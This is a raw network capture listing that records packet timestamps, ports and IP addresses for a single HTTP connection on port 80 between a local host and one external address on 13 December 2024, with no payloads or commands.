Dec 13, 2024 08:18:57.356590986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356595993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.356632948 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.356726885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356792927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356808901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356825113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356831074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.356889963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.357177019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.357218981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.357232094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.357276917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.528268099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528390884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528408051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528426886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528443098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528460026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528572083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528575897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.528589010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528608084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528615952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.528624058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.528628111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528675079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.528774023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528917074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528934956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.528959990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.529263020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529279947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529300928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529315948 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.529320955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529354095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.529434919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529452085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529486895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.529558897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529576063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529592991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529603958 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.529612064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529643059 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.529694080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.529745102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.530230045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530246019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530261993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530299902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.530338049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530355930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530371904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530381918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.530392885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530414104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.530889988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530905962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530924082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.530934095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.530968904 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.531043053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531228065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531244040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531271935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.531300068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531327009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531342030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531342983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.531361103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531378984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.531647921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531663895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531681061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.531692982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.531723022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.532088995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532105923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532123089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532154083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.532237053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532254934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532272100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532284021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.532293081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532315016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.532521009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532537937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532561064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.532565117 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.532612085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.533039093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533056974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533073902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533099890 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.533242941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533258915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533274889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533286095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.533293009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533317089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.533514977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533531904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533549070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.533559084 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.533597946 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.534029007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534046888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534063101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534087896 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.534183025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534199953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534215927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534229040 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.534233093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534254074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.534509897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534526110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534540892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.534558058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.534590006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.534863949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535022020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535037994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535053968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535067081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.535070896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535088062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.535232067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535248995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535264969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535280943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535284042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.535299063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.535600901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535654068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.535945892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535962105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.535978079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536003113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.536062002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536078930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536094904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536103964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.536114931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536132097 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.536562920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536580086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536596060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.536612034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.536639929 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.536854982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548701048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548810959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.548856020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548873901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548891068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548907042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548913956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.548926115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.548979044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.549201012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549218893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549235106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549248934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.549273968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.549312115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549329042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549345970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549371958 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.549391031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549408913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.549433947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.590039968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.720504999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720626116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720642090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720658064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720674038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720690966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720705986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.720730066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720741987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.720741987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.720748901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720765114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720782042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.720804930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.720840931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.720995903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721014977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721031904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721048117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721055984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721065998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721102953 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721246958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721303940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721349955 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721420050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721571922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721590996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721607924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721615076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721630096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721721888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721739054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721755028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721771955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.721780062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721802950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.721978903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722003937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722048998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.722455978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722472906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722491026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722520113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.722531080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.722562075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722589016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722605944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722623110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.722625971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.722672939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.723157883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723175049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723191023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723222017 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.723355055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723414898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723429918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723462105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.723484039 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.723579884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723596096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723613024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723629951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.723637104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.723679066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.724304914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724323034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724340916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724363089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.724572897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724590063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724608898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724623919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724639893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724641085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.724657059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724663973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.724675894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724679947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.724711895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.724886894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724904060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724920988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.724968910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.725497007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725512981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725531101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725545883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725559950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.725563049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725573063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.725585938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725605011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.725646019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725683928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.725866079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725883007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725899935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.725922108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.726387978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726408958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726424932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726439953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726454020 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.726475954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.726646900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726665020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726682901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726699114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726706028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.726712942 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.726716995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726736069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.726778984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.727309942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727339029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727355003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727372885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727375031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.727391958 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.727447033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727463961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727479935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727495909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727499962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.727521896 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.727813005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727830887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.727963924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.728266954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.728285074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.728302956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.728324890 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.728342056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.728427887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.728444099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.728461027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.728482008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.741094112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741153955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741169930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741185904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741200924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741216898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741230011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.741235018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741271019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.741290092 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.741574049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741590977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741606951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741621017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741631985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.741668940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.741687059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741703987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741720915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.741746902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.793127060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.940798044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.940823078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.940920115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.942807913 CET	80	49726	185.81.68.147	192.168.2.11
